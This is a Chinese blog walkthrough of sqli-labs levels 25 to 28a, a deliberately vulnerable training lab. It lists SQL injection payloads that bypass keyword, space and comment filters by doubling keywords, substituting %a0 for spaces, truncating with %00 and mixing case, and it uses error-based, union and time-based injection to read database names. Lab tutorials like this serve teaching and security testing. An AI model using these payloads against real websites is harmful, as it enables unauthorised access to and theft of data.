sqli-labs靶场详解(less25/25a-less28/28a)

在SQL注入过程中难点就是判断注入点 只要注入点确定了  获取数据库数据的过程就是复制

从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了)


目录

less-25

less-25a

less-26

less-26a

less-27

less-27a

less-28

less-28a


less-25

首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来

判断注入点

?id=1 正常   

?id=1' 错误:to use near ''1''

?id=1\ 错误:to use near ''1\'

正常来说是缺少单引号

?id=1'# 

提示Your Input is Filtered with following result: 1'

?id=1'--+  成功

?id=1' and '1'='1 无返回结果

提示 Your Input is Filtered with following result: 1' '1'='1

原来如此  一开始就提示了 and和or 属于他们的 把and和 or过滤掉了 

现在报错会被输出出来 但是无法使用and构造语句了


但是注释符没被过滤 使用联合查询试一下

?id=0' union select 1,2,3 --+ 成功

?id=0' union select 1,database(),3 --+ 成功

?id=0' union select 1,extractvalue(1,concat('~',database())),3 --+ 使用联合查询的报错函数也成功了


先看看双写可不可以

?id=1' aandnd 1=1 --+  成功

?id=1' aandnd 1=2 --+  成功


试试and的符号&&可不可以

发现&&一致报错 提示也没获取到&&符号以及后面的内容

但是or|| 一真则真

?id=2' || 1=1 --+ 成功

?id=2' || 1=2 --+ 成功

那么尝试报错注入

?id=0' || extractvalue(1,concat('~',database())) --+ 成功


代码分析

就是过滤了and和or 无需逻辑分析


less-25a

和上关提示一样 也是过滤了or和and

判断注入点

?id=1' 报错不告诉具体原因了 不能使用报错函数了

试试符号形式的and和or

?id=1 || 1=1 成功

?id=1 || 1=2 成功

看来是整型注入点

和上关一样&&一直报错只能使用||


看看双写可不可以

?id=2 aandnd 1=1 成功

?id=2 aandnd 1=2 失败

双写也可以


使用联合查询

?id=0 UNION SELECT 1,2,3 成功

?id=0 UNION SELECT 1,2,database() 成功


使用 延时函数

?id=1 anandd if(1,sleep(2),2) 成功

代码分析

无逻辑分析 就是参数为整型 过滤and和or 无报错函数


less-26

说是空格和comments都被过滤

判断注入点

?id=1 and 1=1 

提示获取到了Your Input is Filtered with following result: 11=1

看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了

?id=1' 报错:to use near ''1'' 好消息这里能判断注这是字符型注入点

这么多东西都被过滤了 只能进行替换一个一个试了

看看双写

?id=1' anandd '1'='1  失败

但是提示显示获取到了and 证明双写可以  空格没有被获取到所以导致失败

找一个替换空格space的 

space在url中是%20 可以 使用%a0 || %0b绕过 

成功

因为是字符型注入

现在的操作是

?id=1'%a0anandd%a0'1'='1可以

但是注释符也被过滤了如果继续进行注入操作还是不行的

想办法把最后的单引号闭合

想到了两种方式

第一种方式就是再后面再加上一个and后者or 

?id=1'%a0anandd%a0 1=1%a0anandd'1'='1 成功

第二种方式就是

%00会截断整个url 

?id=1'%a0anandd%a0 1=1 ;%00 成功

解释一下正常我们输入的数据到url中都会进行编码 

space的空格方式会被编码成%20 

%20代表空格 %a0 也代表空格  在服务器只会过滤space方式的空格

%00属于空符截断。在某些编程语言和数据库实现中,它表示字符串的终止符

也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号

在这里还要提一句

这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错  在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样

报错注入实例

?id=-1'||updatexml(1,concat(0x7e,database()),1)||'1'='1

?id=1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))||'1'='1

联合注入实例

?id=1'%a0union%a0select%a01,2,3;%00


代码分析

无需分析 就是加上了过滤条件 没有逻辑上的问题


less-26a

提示和上一关一样没什么区别

注入测试

?id=1'  报错 没给具体报错信息 不能使用报错函数

?id=1\  反斜杠被过滤

?id=1 and 1=1 and和空格照样被过滤

?id=1%a0anandd%a01=1;%00 输出id=1的值

?id=1%a0anandd%a01=2;%00 输出id=1的值

;%00不报错可以证明该语句后面没有特殊字符

那为什么1=1和1=2输出结果一样呢

看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=('1 and 1=2;

不应该呀 应该也报错呀 

?id=1')%a0anandd%a01=1;%00

?id=1')%a0anandd%a01=2;%00

这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id=1的结果应该是报错呀

注意

1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍 

2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓

代码分析

无逻辑分析内容 知识添加了过滤条件


less-27

正常界面 过滤了union和select

尝试

?id=1 and 1=1# 提示Your Input is Filtered with following result: 1and1=1

发现注释符和空格也被过滤 但是and没被过滤

?id=1'to use near ''1''   有报错信息 估计是单引号没被闭合

?id=1'%a0and%a0'1'='1';%00成功执行        

?id=1'%a0and%a0'1'='2';%00失败执行

确定为字符型注入点 

看看双写 union 和select可不可以 

发现union只过滤了一次 但是select过滤了两次

?id=0'%a0uunionnion%a0seseselectlectlect%a01,2,3;%00

试试大小写混合可不可以

?id=0'%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以

这样就可以使用联合查询注入和报错注入

代码分析

增加了sleect和union的过滤


less-27a

和上题的提示一样

进行尝试

?id=1 and 1=1# 依旧是去除了空格注释

?id=1'  不报错并查询出结果  估计也是字符型的但是没用单引号

?id=1\ 报错信息不全 不能使用报错注入

多次测试发现是双引号闭合的字符型注入

?id=1"%a0and%a01=1;%00  成功

?id=1"%a0and%a01=2;%00  失败

上两句确定了注入点

构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过

?id=0"%a0ununionion%a0sELECT%a01,2,3;%00 

试一试盲注(盲注是最慢的最不推荐)

?id=1"%a0and%a0if(1,sleep(2),2)%a0;%00 成功

代码分析

参数为双引号的字符型参数 不能使用报错函数


less-28

提示和27管一样过滤union和select

进行测试

?id=1 and 1=1# Your Input is Filtered with following result: 1and1=1

发现没有过滤and 和前几关一样过滤了注释和空格

?id=1' 报错:没有详细的报错信息 不能使用报错注入 

?id=1';%00 报错 可能是整型 可能对参数使用的形式不止单引号

?id=1 and 1=1;%00成功

?id=1 and 1=2;%00成功

以上两个语句得出不是整型 那就是不止只有单引号

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 失败

得出服务器参数的形式为('$id')

?id=0')%a0union%a0select%a01,2,3;%00  说是过滤union和select但是经过测试并没有被过滤

从而判断出这题能使用联合查询注入和盲注 不能使用报错注入 

无需代码分析就是过滤条件比较多


less-28a

提示信息依旧是过滤union和select

注入测试

?id=1' 报错:无详细报错信息 不能使用报错注入

?id=1';%00  得出可能是整型可能字符型不止单引号

轻轻松松试出来

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 不成功

的到注入点 构造语句

轻松拿下

?id=0')%a0union%a0select%a01,2,3;%00

id=1')%a0and%a0if(1,sleep(2),1);%00

可以使用联合查询 盲注

代码分析

依旧不需要逻辑分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/197701.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python入职某新员工大量使用Lambda表达式,却被老员工喷是屎山

Python中Lambda表达式是一种简洁而强大的特性,其在开发中的使用优缺点明显,需要根据具体场景权衡取舍。 Lambda表达式的优点之一是它的紧凑语法,适用于一些短小而简单的函数。这种形式使得代码更为精炼,特别在一些函数式编程场景中,Lambda表达式可以提高代码的表达力。此外…

第一百八十三回 如何给图片添加阴影

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 实现方法 3. 代码与效果3.1 示例代码3.2 运行效果 4. 内容总结 我们在上一章回中介绍了"自定义可以滑动的刻度尺"样相关的内容,本章回中将介绍" 如何给图片添加阴影".闲话休提,让…

基于Vue+SpringBoot的木马文件检测系统

项目编号: S 041 ,文末获取源码。 \color{red}{项目编号:S041,文末获取源码。} 项目编号:S041,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 木马分类模块2.3 木…

【数据结构】八大排序(二)

目录 前言: 冒泡排序 冒泡排序代码实现 冒泡排序特性总结 快速排序 单趟排序hoare版本 单趟排序挖坑法 单趟排序快慢指针法 快速排序整体概览 快排的优化 三数取中法选key 小区间优化 前言: 上文介绍了直接插入排序,希尔排序&…

C# ReadOnlyRef Out

C# ReadOnly ReadOnly先看两种情况1.值类型2.引用类型 结论 Ref Out ReadOnly官方文档 ReadOnly 先看两种情况 1.值类型 当数据是值类型时,标记为Readonly时,如果再次设置值,会提示报错,无法分配到只读字段 public class A {pri…

基于LNMP快速搭建WordPress平台

目录 1 LNMP简介 2 WordPress简介 3 安装MySQL环境 3.1 安装MySQL 3.1.1 下载wget工具 3.1.2 下载MySQL官方yum源安装包 3.1.3 安装MySQL官方yum源 3.1.4 mysql安装 3.2 启动MySQL 3.3 获取默认密码 3.4 登录MySQL ​ 3.5 修改密码 3.6 创建WordPress数据库并授权 3.6.1 创…

WPF创建进度条

使用wpf做一个原生的进度条,进度条上面有值,先看效果。 功能就是点击按钮,后台处理数据,前台显示处理数据的变化,当然还可以对进度条进行美化和关闭的操作,等待后台处理完毕数据,然后自动关闭。…

设计师福利!2024在线图标设计网站推荐,不容错过的宝藏!

在当今竞争激烈的商业环境中,公司或个人品牌的视觉识别元素已经成为区分你和竞争对手的关键因素之一。一个独特而引人注目的标志可以深深扎根于人们的心中,并在消费者心中建立一个强烈的品牌印象。如果你正在寻找合适的工具来创建或改进你的标志&#xf…

js数组map()的用法

JavaScript Array map() 方法 先说说这个方法浏览器的支持: 支持五大主流的浏览器, 特别注意:IE 9 以下的浏览器不支持,只支持IE 9以上的版本的浏览器 特别注意:IE 9 以下的浏览器不支持,只支持IE 9以上的…

基于mvc电影院售票预订选座系统php+vue+elementui

本影院售票系统主要包括二大功能模块,管理员功能模块和用户功能模块。 (1)管理员模块:系统中的核心用户管理员登录后,通过管理员功能来管理后台系统。主要功能有:首页、个人中心、电影类型管理、场次时间管…

Corel产品注册机Corel Products KeyGen 2023 – XFORCE解决会声会影2023试用30天

CorelDRAW注册机2023支持全系列产品_Corel Products KeyGen 2023 X-FORCE v8 CorelDRAW注册机2023支持全系列产品_Corel Products KeyGen 2023 X-FORCE v8,Corel产品注册机(Corel Products KeyGen 2023 – XFORCE),支持Corel旗下所…

jQuery_07 函数的使用

在jQuery中,如何使用函数呢? 1.基本函数 函数(常用的) 其实有很多函数,但是我们只需要掌握常用的函数即可 1.val 操作dom对象的value val() 没有参数 获取dom数组中第一个dom对象的value值 val(value) 有参数 设置dom数组中所有dom对象的…

Zotero | 取消翻译后自动添加笔记

目录 Step1&#xff1a;点击 “编辑” << “首选项” Step2&#xff1a;“翻译” << 取消勾选 “自动翻译批注” 在 Zetoro 中&#xff0c;选择颜色标记勾画的内容&#xff0c;将会自动生成一条笔记&#xff0c;如下图所示&#xff1a; 本人觉得很鸡肋&#xff0…

记录本地与服务器之间数据传输方法(上传、下载文件)

文章目录 一、使用scp命令实现参数说明示例说明 二、使用工具实现windows系统苹果系统如有启发&#xff0c;可点赞收藏哟~ 一、使用scp命令实现 scp 是 secure copy &#xff08;安全复制&#xff09;的缩写, scp 是基于 ssh 登陆进行安全的远程文件拷贝命令。相当于 cp 命令 …

渗透测试考核--两层内网 cs windows socks5

这里考核为渗透 这里是网络拓扑图 这里记录一下 两台外网 两台内网 首先拿到C段 nmap进行扫描 外网1 nmap -p 80 172.16.17.2/24 主机存活 一般都是web服务入手 所以我们指定80端口 然后去查找开放的 最后获取到2个ip Nmap scan report for 172.16.17.177 Host is u…

哈希函数:保护数据完整性的关键

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

WebSocket快速入门

WebSocket 借鉴&#xff1a; https://blog.csdn.net/weixin_45747080/article/details/117477006 https://cloud.tencent.com/developer/article/1887095 简介 WebSocket 是一种网络传输协议&#xff0c;可在单个 TCP 连接上进行全双工通信&#xff0c;位于 OSI 模型的应用…

Android Bitmap保存成至手机图片文件,Kotlin

Android Bitmap保存成至手机图片文件&#xff0c;Kotlin fun saveBitmap(name: String?, bm: Bitmap) {val savePath Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES).toString()if (!Files.exists(Paths.get(savePath))) {Log.d("保存文…

DHCP协议及实验omnipeek抓包工具分析 IPv4协议

一 抓包命令 adb shell tcpdump -i wlan0 -w /data/tcpdump.pcap 抓包后截图如下 二 DHCP是什么 2.1 DHCP定义 DHCP( Dynamic Host Configuration Protocol, 动态主机配置协议)定义: 存在于应用层(OSI) 前身是BOOTP(Bootstrap Protocol)协议 是一个使用UDP(User …

【Unity实战】按物品掉落率,随机掉落战利品物品系统(附项目源码)

文章目录 前言开始参考源码完结 前言 当开发游戏时&#xff0c;一个常见的需求是实现一个物品随机掉落系统。这个系统可以让玩家在击败敌人或完成任务后获得随机的物品奖励&#xff0c;增加游戏的可玩性和乐趣。 在Unity中&#xff0c;我们可以通过编写代码来实现这样的战利品…